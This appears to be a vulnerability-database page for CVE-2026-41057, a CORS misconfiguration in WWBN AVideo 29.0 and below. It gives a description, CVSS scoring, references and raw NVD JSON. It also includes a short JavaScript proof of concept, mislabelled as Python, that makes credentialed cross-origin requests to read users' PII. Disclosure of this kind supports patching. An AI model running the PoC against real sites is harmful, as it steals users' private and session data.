CVE-2026-41057

Description

WWBN AVideo is an open source video platform. In versions 29.0 and below, the CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data. Commit 5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13 contains a fix.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE

WWBN AVideo <= 29.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Proof of Concept for CVE-2026-41057
// This script demonstrates how an attacker can steal sensitive data via CORS misconfiguration.

async function exploit() {
    const targetUrl = 'https://[target-avideo-domain]/api/get.json.php'; // Example endpoint
    
    try {
        const response = await fetch(targetUrl, {
            method: 'GET',
            credentials: 'include', // Essential: Sends cookies with the request
            headers: {
                'Content-Type': 'application/json'
            }
        });
        
        if (response.ok) {
            const data = await response.json();
            console.log('[+] Leaked PII/Sensitive Data:', data);
            // Data would be exfiltrated to attacker's server here
        } else {
            console.log('[-] Request failed');
        }
    } catch (error) {
        console.error('Error:', error);
    }
}

exploit();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41057
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41057
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41057/
[4] VulDB https://vuldb.com/cve/CVE-2026-41057
[5] https://github.com/WWBN/AVideo/commit/5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13
[6] https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4
[7] https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41057", "sourceIdentifier": "[email protected]", "published": "2026-04-21T23:16:20.987", "lastModified": "2026-04-24T15:07:47.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 29.0 and below, the CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data. Commit 5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13 contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "29.0", "matchCriteriaId": "AC38CA07-71C1-4C86-B84A-83CF96367CBA"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}